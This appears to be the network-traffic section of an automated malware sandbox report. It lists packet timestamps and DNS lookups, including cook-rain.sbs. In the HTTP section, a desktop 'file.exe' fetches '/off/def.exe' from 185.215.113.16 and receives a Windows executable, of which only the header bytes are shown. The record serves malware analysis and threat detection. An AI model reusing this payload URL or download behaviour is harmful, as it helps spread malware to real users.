Nov 19, 2024 19:15:42.251796961 CET	50104	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.251889944 CET	443	50104	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.251974106 CET	50104	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.252127886 CET	50104	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.252141953 CET	443	50104	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.363248110 CET	443	50100	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.363831997 CET	50100	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.363851070 CET	443	50100	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.364366055 CET	50100	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.364371061 CET	443	50100	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.449796915 CET	443	50101	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.450320959 CET	50101	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.450359106 CET	443	50101	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.450978041 CET	50101	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.450989008 CET	443	50101	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.462325096 CET	443	50100	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.462357044 CET	443	50100	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.462542057 CET	50100	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.462552071 CET	443	50100	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.462573051 CET	443	50100	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.462676048 CET	50100	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.462676048 CET	50100	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.462779999 CET	443	50102	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.462862015 CET	50100	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.462872982 CET	443	50100	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.463242054 CET	50102	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.463248014 CET	443	50102	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.463901043 CET	50102	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.463905096 CET	443	50102	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.465719938 CET	50105	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.465770006 CET	443	50105	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.465826988 CET	50105	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.465966940 CET	50105	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.465979099 CET	443	50105	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.550438881 CET	443	50101	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.550790071 CET	443	50101	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.551114082 CET	50101	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.551114082 CET	50101	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.551182985 CET	50101	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.551202059 CET	443	50101	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.553719044 CET	50106	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.553750038 CET	443	50106	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.553880930 CET	50106	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.554009914 CET	50106	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.554018974 CET	443	50106	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.562614918 CET	443	50102	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.562680006 CET	443	50102	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.563030005 CET	50102	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.563076973 CET	50102	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.563077927 CET	50102	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.563085079 CET	443	50102	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.563092947 CET	443	50102	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.565135956 CET	50107	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.565151930 CET	443	50107	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.565228939 CET	50107	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.565365076 CET	50107	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.565373898 CET	443	50107	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.775779009 CET	50030	443	192.168.2.4	142.250.186.68
Nov 19, 2024 19:15:42.775810957 CET	443	50030	142.250.186.68	192.168.2.4
Nov 19, 2024 19:15:42.831245899 CET	443	50103	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.831803083 CET	50103	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.831824064 CET	443	50103	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.832304001 CET	50103	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.832309961 CET	443	50103	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.835479975 CET	443	50104	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.835828066 CET	50104	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.835858107 CET	443	50104	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.836231947 CET	50104	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.836239100 CET	443	50104	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.930354118 CET	443	50103	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.930516958 CET	443	50103	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.930639029 CET	50103	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.930756092 CET	50103	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.930773020 CET	443	50103	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.930792093 CET	50103	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.930799007 CET	443	50103	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.933526039 CET	50108	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.933577061 CET	443	50108	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.933743954 CET	50108	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.933943033 CET	50108	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.933958054 CET	443	50108	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.943130016 CET	443	50104	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.943285942 CET	443	50104	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.943501949 CET	50104	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.943538904 CET	50104	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.943538904 CET	50104	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.943559885 CET	443	50104	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.943571091 CET	443	50104	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.945728064 CET	50109	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.945765972 CET	443	50109	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.945864916 CET	50109	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.945981026 CET	50109	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.945997000 CET	443	50109	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.117708921 CET	443	50105	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.118320942 CET	50105	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:43.118351936 CET	443	50105	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.118834972 CET	50105	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:43.118839979 CET	443	50105	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.212214947 CET	443	50106	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.212766886 CET	50106	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:43.212795973 CET	443	50106	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.213224888 CET	50106	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:43.213241100 CET	443	50106	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.219288111 CET	443	50105	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.221129894 CET	443	50105	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.221190929 CET	50105	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:43.221215963 CET	443	50105	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.221231937 CET	443	50105	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.221295118 CET	50105	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:43.221296072 CET	50105	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:43.222270012 CET	50105	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:43.222282887 CET	443	50105	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.230088949 CET	443	50107	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.230498075 CET	50107	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:43.230513096 CET	443	50107	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.230894089 CET	50107	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:43.230899096 CET	443	50107	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.318459988 CET	443	50106	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.318855047 CET	443	50106	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.318919897 CET	50106	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:43.318979025 CET	50106	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:43.319004059 CET	443	50106	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.319019079 CET	50106	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:43.319024086 CET	443	50106	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.333003044 CET	443	50107	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.333300114 CET	443	50107	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.333363056 CET	50107	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:43.333476067 CET	50107	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:43.333498001 CET	443	50107	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.333508015 CET	50107	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:43.333513021 CET	443	50107	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.586105108 CET	443	50108	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.586615086 CET	50108	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:43.586679935 CET	443	50108	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.587155104 CET	50108	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:43.587171078 CET	443	50108	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.609869003 CET	443	50109	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.610364914 CET	50109	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:43.610393047 CET	443	50109	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.610868931 CET	50109	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:43.610874891 CET	443	50109	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.685960054 CET	443	50108	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.687513113 CET	443	50108	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.687624931 CET	50108	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:43.687690973 CET	50108	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:43.687710047 CET	443	50108	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.687730074 CET	50108	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:43.687736034 CET	443	50108	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.716622114 CET	443	50109	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.716695070 CET	443	50109	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.716938019 CET	50109	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:43.717112064 CET	50109	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:43.717132092 CET	443	50109	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:43.717142105 CET	50109	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:43.717148066 CET	443	50109	13.107.246.45	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 19, 2024 19:14:02.065321922 CET	49532	53	192.168.2.4	1.1.1.1
Nov 19, 2024 19:14:02.090244055 CET	53	49532	1.1.1.1	192.168.2.4
Nov 19, 2024 19:14:21.003645897 CET	138	138	192.168.2.4	192.168.2.255
Nov 19, 2024 19:14:26.077764988 CET	53	63039	1.1.1.1	192.168.2.4
Nov 19, 2024 19:14:26.089462996 CET	53	61414	1.1.1.1	192.168.2.4
Nov 19, 2024 19:14:27.081738949 CET	53	62848	1.1.1.1	192.168.2.4
Nov 19, 2024 19:14:29.333400011 CET	51613	53	192.168.2.4	1.1.1.1
Nov 19, 2024 19:14:29.333570957 CET	54129	53	192.168.2.4	1.1.1.1
Nov 19, 2024 19:14:30.399020910 CET	50506	53	192.168.2.4	1.1.1.1
Nov 19, 2024 19:14:30.399178982 CET	63778	53	192.168.2.4	1.1.1.1
Nov 19, 2024 19:14:30.407598019 CET	53	50506	1.1.1.1	192.168.2.4
Nov 19, 2024 19:14:30.407846928 CET	53	63778	1.1.1.1	192.168.2.4
Nov 19, 2024 19:14:30.790971994 CET	57296	53	192.168.2.4	1.1.1.1
Nov 19, 2024 19:14:30.791152000 CET	50481	53	192.168.2.4	1.1.1.1
Nov 19, 2024 19:14:34.699654102 CET	53	50779	1.1.1.1	192.168.2.4
Nov 19, 2024 19:14:36.039375067 CET	54885	53	192.168.2.4	1.1.1.1
Nov 19, 2024 19:14:36.039544106 CET	55369	53	192.168.2.4	1.1.1.1
Nov 19, 2024 19:14:44.145550013 CET	53	50384	1.1.1.1	192.168.2.4
Nov 19, 2024 19:15:03.170475960 CET	53	60080	1.1.1.1	192.168.2.4
Nov 19, 2024 19:15:25.606681108 CET	53	62401	1.1.1.1	192.168.2.4
Nov 19, 2024 19:15:25.715004921 CET	53	61747	1.1.1.1	192.168.2.4
Nov 19, 2024 19:15:54.006141901 CET	53	60878	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 19, 2024 19:14:30.782706976 CET	192.168.2.4	1.1.1.1	c2e3	(Port unreachable)	Destination Unreachable
Nov 19, 2024 19:14:37.741260052 CET	192.168.2.4	1.1.1.1	c264	(Port unreachable)	Destination Unreachable
Nov 19, 2024 19:14:40.509345055 CET	192.168.2.4	1.1.1.1	c264	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 19, 2024 19:14:02.065321922 CET	192.168.2.4	1.1.1.1	0xfe80	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 19, 2024 19:14:29.333400011 CET	192.168.2.4	1.1.1.1	0x2e24	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 19:14:29.333570957 CET	192.168.2.4	1.1.1.1	0xaae7	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 19, 2024 19:14:30.399020910 CET	192.168.2.4	1.1.1.1	0x1c0	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 19:14:30.399178982 CET	192.168.2.4	1.1.1.1	0x3f5b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 19, 2024 19:14:30.790971994 CET	192.168.2.4	1.1.1.1	0xd7e	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 19:14:30.791152000 CET	192.168.2.4	1.1.1.1	0x75b7	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 19, 2024 19:14:36.039375067 CET	192.168.2.4	1.1.1.1	0xc551	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 19:14:36.039544106 CET	192.168.2.4	1.1.1.1	0x174f	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 19, 2024 19:14:02.090244055 CET	1.1.1.1	192.168.2.4	0xfe80	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 19:14:02.090244055 CET	1.1.1.1	192.168.2.4	0xfe80	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 19:14:29.339963913 CET	1.1.1.1	192.168.2.4	0xb084	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 19:14:29.339963913 CET	1.1.1.1	192.168.2.4	0xb084	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 19:14:29.339963913 CET	1.1.1.1	192.168.2.4	0xb084	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 19, 2024 19:14:29.340481997 CET	1.1.1.1	192.168.2.4	0x2e24	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 19:14:29.340481997 CET	1.1.1.1	192.168.2.4	0x2e24	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 19:14:29.340481997 CET	1.1.1.1	192.168.2.4	0x2e24	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 19:14:29.340481997 CET	1.1.1.1	192.168.2.4	0x2e24	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 19, 2024 19:14:29.342664957 CET	1.1.1.1	192.168.2.4	0xaae7	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 19:14:29.342664957 CET	1.1.1.1	192.168.2.4	0xaae7	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 19:14:29.343255043 CET	1.1.1.1	192.168.2.4	0x395f	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 19:14:30.407598019 CET	1.1.1.1	192.168.2.4	0x1c0	No error (0)	www.google.com		142.250.186.68	A (IP address)	IN (0x0001)	false
Nov 19, 2024 19:14:30.407846928 CET	1.1.1.1	192.168.2.4	0x3f5b	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 19, 2024 19:14:30.661889076 CET	1.1.1.1	192.168.2.4	0x66c3	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 19:14:30.676829100 CET	1.1.1.1	192.168.2.4	0xb79	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 19:14:30.676829100 CET	1.1.1.1	192.168.2.4	0xb79	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 19:14:30.676829100 CET	1.1.1.1	192.168.2.4	0xb79	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 19, 2024 19:14:30.798593044 CET	1.1.1.1	192.168.2.4	0xd7e	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 19:14:30.798593044 CET	1.1.1.1	192.168.2.4	0xd7e	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 19:14:30.798593044 CET	1.1.1.1	192.168.2.4	0xd7e	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 19:14:30.798593044 CET	1.1.1.1	192.168.2.4	0xd7e	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 19, 2024 19:14:30.799947977 CET	1.1.1.1	192.168.2.4	0x75b7	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 19:14:30.799947977 CET	1.1.1.1	192.168.2.4	0x75b7	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 19:14:36.046686888 CET	1.1.1.1	192.168.2.4	0x174f	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 19:14:36.046916962 CET	1.1.1.1	192.168.2.4	0xc551	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 19:14:37.727057934 CET	1.1.1.1	192.168.2.4	0x7e35	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 19:14:37.741190910 CET	1.1.1.1	192.168.2.4	0xfe69	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 19:14:40.490982056 CET	1.1.1.1	192.168.2.4	0xe5ea	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 19:14:40.509273052 CET	1.1.1.1	192.168.2.4	0xafc9	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

cook-rain.sbs

slscr.update.microsoft.com

https:

wcpstatic.microsoft.com

js.monitor.azure.com

fs.microsoft.com

otelrules.azureedge.net

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49738	185.215.113.16	80	7152	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 19:14:16.826153040 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 19, 2024 19:14:17.502242088 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 18:14:17 GMT Content-Type: application/octet-stream Content-Length: 2795520 Last-Modified: Tue, 19 Nov 2024 17:50:33 GMT Connection: keep-alive ETag: "673ccfe9-2aa800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 18 5e 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `+^+`Ui` @ @.rsrc`2@.idata 8@yqwybcoz`H:@oyenvmkj +@.taggant@ +"@
Nov 19, 2024 19:14:17.502255917 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 19:14:17.502939939 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 19:14:17.502980947 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 19:14:17.502989054 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 19:14:17.503015995 CET	24	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 19:14:17.503601074 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 19:14:17.503618002 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 19:14:17.503627062 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
